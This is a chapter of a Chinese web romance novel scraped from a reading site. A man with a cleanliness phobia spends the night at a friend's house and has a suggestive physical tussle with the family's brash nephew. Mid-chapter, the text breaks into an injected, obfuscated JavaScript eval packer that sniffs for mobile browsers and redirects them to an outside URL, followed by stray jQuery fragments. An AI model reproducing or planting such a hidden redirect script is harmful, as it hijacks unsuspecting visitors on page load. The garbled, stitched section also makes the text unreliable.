默认冷灰
24号文字
方正启体

6. 嘴巴含不下

作者:可可条形码本书字数:K更新时间:
    陈信路看着那自言自语的白色框框,还有那句不知道莫风停在哪里学来的姑苏方言。


    嘴角不自觉扬起笑。


    “信路看什么这么开心?”闻竹问。


    “和朋友在聊天。”


    陈信路没有继续这个话题,他接过闻竹递过来的冰激凌,冰凉的奶油上还淋了一层草莓果酱和糖豆。


    小宝正因为自己的冰激凌吃完了而闹脾气,而心智不过三岁的陆杨与还在得意地用自己巨大一桶挑衅。


    小宝气抖冷:“小鹿苏苏,大羊驼抢窝的冰激凌!”


    陆杨与:“小胖孩,这是我的,不是你的。”


    小宝不听不听,然后眼巴巴地盯着陈信路手里的冰激凌,“虽然窝喜欢次巧克力,但素草莓的也很好次哒~”


    陈信路:……


    闻竹给陈信路使眼色,让他快点吃,对着小宝说:“不可以哦,每个人都有一份冰激凌,你已经吃完了,不可以再吃了,会拉肚子的。”


    陆杨与还欠欠地戳了戳小宝的包子脸,“小胖孩,你是玩不过我的。”


    小宝嘟着可以挂油瓶的小嘴巴气嘟嘟的离开了。


    陈信路:“闻竹哥,时间也不早了,我也先回去了,今天晚餐很不错,多谢招待。”


    闻竹:“信路,明天是周末,要不今晚就住在这吧,都已经九点了,晚上你还喝了酒呢,开车不方便。”


    陈信路想拒绝,毕竟家里还有一个人等他,可严家的地理位置,代驾根本进不来。


    刚才离开的小宝又跑回来,手里抱着一大块拼图,“窝要小鹿苏苏陪我一起玩!”


    陈信路想了想还是留宿下来,“给你们添麻烦了。”


    “不麻烦,信路,你太客气了。”


    闻竹还特意为他准备好了客房,小宝在一旁黏着陈信路,陈信路没法,只能抱起小宝。


    “知道你有洁癖,所以里面有换洗的一次性衣服,都是干净的。”


    “多谢闻竹哥。”


    rua了一顿肉乎乎的人类幼崽,小宝终于玩累了,在陈信路怀里睡着了。


    陈信路把孩子还给闻竹,闻竹交代了明天早餐的时间便离开了。


    等陈信路回房间第一时间就是给莫风停打电话,对面很快接通,金发碧眼的一张脸把手机屏幕撑满。


    “darling怎么这么晚都不回来!”


    “今天嫂子喊我来吃饭,还喝了点酒,我住在严哥家了,你自己也早点睡。”


    “可是你明明答应要和我一起吃饭的,不吃就算了,还不回家睡,今天我要一个人孤独终老了!”


    “成语不是这么用的。”


    “我现在动心疾首,日思夜想,需要kiss!”


    陈信路在电话里被莫风停要求送kiss,陈信路扭不过他,对着电话轻轻啵啵了一声,立马嫌肉麻挂了电话。


    门被敲响。


    “喂,那个……陈叔叔,你有烟吗?”


    门外站着陆杨与,他太高,穿那些运动鞋直逼两米。


    宽厚的手掌撑在门板上,肩膀阔直,和个双开门大冰箱一样堵在门口,走廊上的暖白灯光都泄不进来几分。


    陆杨与挠了挠头,莫名乖巧,“我今天刚坐了十几个小时的飞机,烟都被扣在海关那里了,一下飞机就被我妈抓到这里来了。”


    “你问我借烟?”


    “对,毕竟这里除了我舅抽烟,不就只有你了吗?”


    “那你怎么不问你舅舅借?”


    陆杨与只装了一分钟不到的善良人格,下一秒就够理直气壮的,“我舅肯定不会借给我啊,他还会告诉我妈,你就行行好借我。”


    陈信路没时间和还处在叛逆期的小屁孩多废话,说了句不借就要关门。


    “别关门别关门,我求你还不行吗!”


    要是让他求眼前的这张漂亮脸蛋,那就求求呗,不仅没有不爽反而只有更爽。


    “求你求你。”


    “求也不借。”


    他关门,陆杨与眼疾手快一脚卡住门,抬脚一踢,直接推门进来。


    他力气可大,陈信路一个没防备,被门把手撞得往后踉跄了两步,脚上的一只拖鞋都没踩稳,他光了一只白皙的脚踩在地毯上。


    “你进来干什么?出去。”


    “你别和我妈说!”


    陈信路看着眼前大大咧咧的男孩,又低头看了看自己那只光着的脚。


    他起了逗弄陆杨与的心思,逗逗蠢货还挺有趣的,故意说:“你要是不出去,我等会就给大姐打电话,哦不,现在就打。”作势就要去拿手机。


    果然,陆杨与破防道,“你不借我就算了,你还要跟我妈告状,比家里要上幼儿园的严小宝还小学生!”


    “不是我不借,我的烟在车里,你舅舅不喜欢家里有烟味。”


    “我舅舅抽烟不喜欢家里有烟味?”


    陈信路解释:“因为家里有小孩,二手烟对小孩发育不好。”


    陆杨与呵呵两声,“我小时候那二手烟就差/插/我/鼻孔里抽了。”


    陈信路总不能说他四肢发达头脑简单,再次礼貌地说:“快回去吧,倒时差睡不着就去喝咖啡打游戏。”


    偏偏陆杨与和他杠上了,直接侧过陈信路,大步流星往里头走。


    赖皮的要命,长腿一抬,两只拖鞋直接飞到陈信路脚边,他无所吊谓地往床上一躺,“你人长这么漂亮,但心怎么这么狠,帮一下我啊。”


    一躺不要紧,这一躺简直要把陈信路逼疯了,“你是不是今天才来的这里?你的床自己躺过吗?”


    陆杨与狐疑他为什么问这个问题,但还是如实回答了:“没啊,我一下午都躺在客厅沙发上。”


    “你今天洗澡了吗?”


    “没呀,我穿的衣服和吃饭的时候不还一样吗?”


    陆杨与还特地指了指胸前的黑人脸,“你知道这谁吗,打nba的……”


    陈信路蹙眉打断,“这间房间从现在开始是你的了,你的房间归我了。”


    “不是吧?”


    见陈信路转身就要走,陆杨与赶紧攥住他的手腕,轻而易举把人拉回来,“你发什么神经。”


    “放手。”


    陈信路现在处于快要爆发的状态,他的洁癖在这一刻达到巅峰,他克制地甩开陆杨与的手。


    “我有洁癖,这张床被你躺过了。”


    “?我以前也有洁癖,直到我美高那帮哥们鞋都不脱就躺床上,我就调理好了。”


    陈信路绕开陆杨与的大块头,继续往外走。


    陆杨与担心他出去就转头跟严君兰告状,又赶紧拉住他,“你别想和我妈告状!”


    而陈信路同时也甩开他,“别碰我。”


    偏偏陆杨与是打排球的,上肢力量十分强大,手又大又热,黏黏糊糊的仿佛狗皮膏药,他怎么甩也甩不开。


    陈信路刚要转身说话时,陆杨与以为他要挣脱开自己,手上一拽一扯。


    陈信路本来脚上缺了一只拖鞋,更是没立稳。


    两人同时人仰马翻。


    还好陆杨与反应迅速,直接抱着歪倒的陈信路,倒在了被他躺过的那张床上。


    整个人摔在床上的那一刻还是有点懵的,陈信路撑着手坐起来,陆杨与痛喊了一声:“我草,陈信路你要害死我啊。”


    陈信路这时才发现他趴在陆杨与身上,陆杨与充当了人形肉垫。


    他赶紧站起来,和陆杨与退开了两米距离,“谁让你刚才这么用力拽我。”


    陆杨与捂着胸口很难受的样子,陈信路担心是不是自己太重砸疼他了。


    “没事吧。是不是擦伤了?需要跌打酒吗?”


    陆杨与还是一副疼得呲牙咧嘴的表情,他捂着胸口和肚子,疼得在床上滚来滚去。


    “我草,我爸妈就我一个儿子,我舅就我一个外甥。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224288|197550||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    他越说越来劲,“要是我肋骨断了,今年的告别赛,我还不知道能不能赶上。”


    陈信路见他额头上都冒出细汗,也有些担心。


    他小心翼翼地拍了拍床单,单膝跪在柔软的薄被上。


    想要把陆杨与翻身过来看看他伤势怎么样时,谁知一眨眼的瞬间,没有任何防备的他直接被陆杨与两手抓住肩膀压在了身下。


    “哈哈被我骗了吧。”


    陆杨与笑得贱嗖嗖的,格外欠打。


    陈信路后知后觉想立马站起来,却被陆杨与狠狠按在床上,肩膀都生疼。


    “你是嫌我脏吗,喂……你怎么了?”


    陈信路耳边仿佛听不到陆杨与的声音了,他脑中的每一根神经都在疯狂地跳。


    他突然感觉自己浑身都脏了,好像被按在肮脏的淤泥里怎么也爬不起来,刹那呼吸困难,“快、快松开我!”


    陈信路脸都憋红了,桃花眼盯着天花板上的水晶吊灯,无意识地流下一行泪,滑落鬓角。


    陆杨与也有些傻了,他愣愣地盯着陈信路,“怎么了,不就躺个床吗……”


    陈信路发疯似的想要挣脱开紧锁的桎梏,宛如一只被逼走投无路,躲在垃圾桶旁的柔弱奶猫。


    他哭着喵喵叫,伸出粉色肉垫中藏起的尖锐爪尖,却根本抵不住恶魔大手拎起他的后脖颈。


    “放开、放开!”


    陆杨与手上力气小了些,陈信路直接直起身,额头撞到陆杨与的胸膛,顿时红了一片,细软的黑发也有些乱,散落的刘海遮住那双红通通的眼眸。


    他的肩膀胳膊不停发抖,莹润玉质般的皮肤泛起不自然的粉色,红润的唇瓣轻轻颤着,很快就被牙齿咬住下唇。


    整个人好像进入噩梦一般。


    “陈信路,陈信路……你踏马怎么了?”


    陆杨与不知所措,他害怕地想要抱住陈信路,试图稳住他。


    但陈信路不从,仍然不停地乱动。


    陆杨与视图稳住他,急道:“你没事吧!我不是故意的!要不要我找家庭医生?”


    他根本不知道陈信路会如此脆弱,有些悔不当初。


    “我不是故意的,对不起对不起,我和你道歉,你别哭。”


    两人靠得极近,强健有力的肱二头肌紧紧地锁着陈信路的手臂。


    陆杨与为了控制住发抖的陈信路,也不管那么多,直接把人抱起来坐在了自己的大腿上。


    厚茧的手心贴着陈信路微微凸起的蝴蝶骨轻轻安抚。


    “慢慢呼吸,来,先吐气。”


    陈信路摇着头不听他的。


    小巧圆润的p/p/下是男人/硬/邦邦的大腿肌肉,陈信路扭着身体,红着眼睛想要推开他,却不小心用嘴唇蹭到了陆杨与的唇角。


    他浑然不知。


    然而说者无意,听者有心。


    那短暂到半秒都没有的柔软的触感让陆杨与头脑发空,身心发热。


    手上一时的松懈,也成功地让陈信路挣脱开炙热的怀抱。


    他跌跌撞撞地跑开,连地上的拖鞋都忘了,直接光脚从二楼客房跑到餐厅,根本顾不上什么礼仪形象。


    翻箱倒柜找出那瓶今晚饭桌上还没有喝完的香槟,使劲用力拔掉了木塞,对嘴猛灌起来。


    他喝的太急,嘴巴又小,粉嫩唇瓣/含/不住/瓶口。


    多余的液体从嘴角滑过至下巴和喉结,慢慢汇成几条小道,延伸至衣领里的锁骨处。


    “咳咳……”他被呛得猛烈咳嗽,一手捂住胸口。


    冰凉的酒让他恢复些理智,他呆呆地握着酒瓶,指尖都用力地泛了白。


    眼前模糊,眼尾嫣红,清冷美人皱眉低头,乌黑长睫敛起,遮住眸间痛苦恨意。


    那副落寞的无助神情太过诱人。


    想让人替他分忧,想让人狠狠藏起。


    跟来的陆杨与站在旋转楼梯处,一时看呆。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)